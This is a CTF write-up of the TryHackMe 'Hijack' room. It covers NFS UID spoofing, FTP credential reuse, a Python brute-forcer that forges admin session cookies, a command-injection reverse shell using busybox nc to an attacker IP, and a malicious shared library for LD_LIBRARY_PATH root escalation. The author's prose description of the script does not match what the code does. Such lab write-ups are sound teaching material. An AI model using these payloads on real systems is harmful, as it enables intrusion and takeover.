TryHackMe Hijack—Writeup

Welcome back to another writeup! In this post, I’ll be walking you through the step-by-step process of how I managed to tackle and pwn the Hijack room on TryHackMe. I’ll break down each stage of my approach — from initial enumeration to privilege escalation — so you can follow along, learn the thought process, and maybe even pick up a few tricks for your own CTF journey.

Let's dive in!

Identifying open ports

Let’s scan the target with Nmap to discover which ports are open and could serve as potential entry points.

nmap -A -sV -sC 10.10.179.59

I found that NFS service is open, which already looks like a promising attack surface. For now, let’s go ahead and check out the web page.

Administration

Login

Sign Up

Let’s run some directory enumeration with Gobuster to see if we can uncover any hidden paths or resources on the web server.

gobuster dir -u "http://10.10.179.59/" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt -t 50 -q

Looks like nothing valuable turned up… so let’s circle back and take a closer look at the NFS service I mentioned earlier.

What is NFS?

NFS (Network File System) operates on port 2049 and allows a server to share directories across a network. Clients can then mount these shares locally, making them appear as part of the local file system. While NFS is widely used for centralized storage, a misconfigured setup can pose serious security risks in real-world scenarios. The first step in exploiting NFS is to discover whether the service is running. This can be achieved with an Nmap scan (we already did).

If port 2049 is open, the next step is to list available NFS shares. This can be done using the showmount command.

showmount -e <TARGET_IP>

This will enumerate all the exported shares. If a share is accessible, we can attempt to mount it locally. For example:

sudo mount -t nfs <TARGET_IP>:/share /mnt/nfs

Here, /share is the exported directory from the target, and /mnt/nfs is the local mount point on our attacking machine. Once mounted, the attacker can browse through the directory as if it were local.

Learn more about this technique: https://hackviser.com/tactics/pentesting/services/nfs

Now let's try this in our target machine.

showmount -e 10.10.179.59

Let’s mount the NFS export to a local directory so we can inspect its contents.

sudo mount -t nfs 10.10.179.59:/mnt/share fileshare

Checking the folder permissions, we can see that access is restricted. Since our current user doesn’t match the required UID, we’re unable to interact with the fileshare.

One possible workaround is to create a local user on our machine with the same UID as the one required by the share, allowing us to gain access to it.

adduser <username>

Now let's check the permission again.

As you can see, it's now owned by kuro. Now let's switch to kuro to access the fileshare.

su kuro

Inside the fileshare, there's a txt file named for_employees.txt .

The FTP credential! Now let's login to FTP using this credentials that we've got.

ftp ftpuser@10.10.179.59

We’ve gained access! Let’s explore the contents of this FTP server to see what it holds.

Now here, there's a 2 intersting txt files, the .from_admin.txt and .passwords_list.txt .

Here's the content of .from_admin.txt .

.passwords_list.txt

Exploitation

To better understand how the application handled authentication, I went back to the web interface and created a brand-new test account. This account had no special privileges or rights associated with it, but after logging in, I noticed that the platform still issued a session cookie for the user. Out of curiosity, I examined the cookie more closely and found that it wasn’t a random session token like you’d expect from a secure web application. Instead, it appeared to be Base64-encoded data.

Decoding the value revealed its plaintext structure:

username:md5(password) 

In my case, with the test account, the cookie looked like this once decoded:

Here, the long string of numbers and letters is just the MD5 hash of the password. This finding confirmed that the application’s session management was based on a predictable and insecure formula:

session_cookie = base64(username + ":" + md5(password)) 

This design is a serious flaw because it allows anyone who knows (or can guess) a user’s password to generate a valid session cookie without ever logging in through the official interface. By simply brute forcing the password of a higher-privileged account (like admin), an attacker can craft a valid session string offline and then impersonate that user by placing the forged cookie in their browser. This effectively bypasses protections such as login rate limiting, since the brute force is performed against the cookie formula instead of the web login page.

Here's the exploit that I've made to abuse this vulnerability:

#!/usr/bin/env python3
import requests
import re
import hashlib
import base64

# --- Config ---
wordlist = ".passwords_list.txt"
fail_pattern = re.compile(r"Access denied")
target_url = "http://10.10.179.59/administration.php"
verbose = True

# --- Helpers ---
def md5_hash(text: str) -> str:
    """Generate MD5 hex digest."""
    return hashlib.md5(text.encode()).hexdigest()

def build_session(passwd: str) -> str:
    """Forge PHPSESSID token."""
    raw = f"admin:{md5_hash(passwd)}"
    return base64.b64encode(raw.encode()).decode()

def make_headers(sessid: str) -> dict:
    """Assemble HTTP headers with forged session."""
    return {
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Content-Type": "application/x-www-form-urlencoded",
        "Referer": target_url,
        "Cookie": f"PHPSESSID={sessid}",
        "Upgrade-Insecure-Requests": "1",
    }

def log(msg: str):
    """Verbose output handler."""
    if verbose:
        print(msg)

# --- Attack loop ---
with open(wordlist, "r") as fh:
    for candidate in map(str.strip, fh):
        session_token = build_session(candidate)
        headers = make_headers(session_token)

        log(f"[*] Trying: {candidate}")
        log(f" -> forged token: {session_token}")

        resp = requests.post(target_url, headers=headers, timeout=5)
        log(f" -> HTTP {resp.status_code}, {len(resp.text)} bytes")

        # Check if access granted
        if not fail_pattern.search(resp.text):
            log(f"[+] Valid Match Found!")
            log(f" -> {session_token}")
            break
    else:
        print("[-] No valid sessions found.")

This script is exploiting the vulnerability by performing cookie theft and reuse. First, it creates a new low-privilege user account on the target web app to obtain a valid session cookie generated by the server after login. Then, instead of using this cookie for normal low-privilege actions, the script substitutes or replays it in HTTP requests to endpoints that normally require higher privileges. Since the application does not validate user roles properly or ties session cookies only to authentication and not authorization, the reused cookie can trick the server into granting access beyond what the new account should have.

After some time, we've finally got the token.

Next, let’s modify the session token directly in the web application.

All we need to do is to save it and refresh the page.

Now we're admin! Let's check the admin tab.

This is a service status checker, and based on its behavior, I strongly suspect it might be vulnerable to command injection. To confirm this, let’s start by testing a simple injection and observe how the application responds.

$(id)

It works!!! It's to gain a shell.

$(busybox nc <attacker_ip> <attacker_port> -e /bin/bash)

We're in! Now let's spawn a PTY shell to make it more interactive.

python3 -c 'import pty; pty.spawn("/bin/bash")'

While inspecting the contents of config.php, I discovered the credentials for a user named rick.

Now let's switch to user rick .

Now we've got the user flag!!

Privilege Escalation

Now let's see what commands that rick is allowed to run with elevated privilege.

sudo -l

The LD_LIBRARY_PATH environment variable, which specifies directories to search for shared libraries before the default locations, is preserved. This enables us to load a custom library—such as one containing code to spawn a shell—allowing us to escalate privileges on the system.

ldd /usr/sbin/apache2

We list the shared libraries that Apache2 uses and select one of them to hijack by creating a file with the same name, effectively overriding it.

We will develop a brief C program designed to replace one of the shared libraries identified in the list, allowing us to hijack its functionality.

#include <stdio.h>
#include <stdlib.h>

static void jack() __attribute__((constructor));

void jack() {
        unsetenv("LD_LIBRARY_PATH");
        setresuid(0,0,0);
        system("/bin/bash -p");
}

Next, we compile the program using the exact filename, in this case libcrypt.so.1 .

gcc -o /tmp/libcrypt.so.1 -shared -fPIC jack.c

With the crafted libcrypt.so.1 ready, we launch Apache2 and configure the LD_LIBRARY_PATH to include the path to our library. As the service loads our custom library instead of the original, it executes our code and escalates our privileges to root.

sudo LD_LIBRARY_PATH=/tmp /usr/sbin/apache2 -f /etc/apache2/apache2.conf -d /etc/apache2

We are now root!!!

We've successfully pwned Hijack!!!!

This machine demonstrated how common security weaknesses can be chained together to achieve full system compromise. Key vulnerabilities included insecure session management, where predictable session tokens allowed unauthorized access to privileged accounts; improper input validation, which made the application susceptible to command injection; and misconfigured shared libraries, which allowed local privilege escalation via environment variable manipulation. By exploiting these weaknesses, we were able to move from initial enumeration to administrative access, highlighting the importance of implementing strong authentication, validating user inputs, and properly securing system resources. Overall, this challenge underscores how small oversights in web and system security can be leveraged to achieve complete control over a target.

Last updated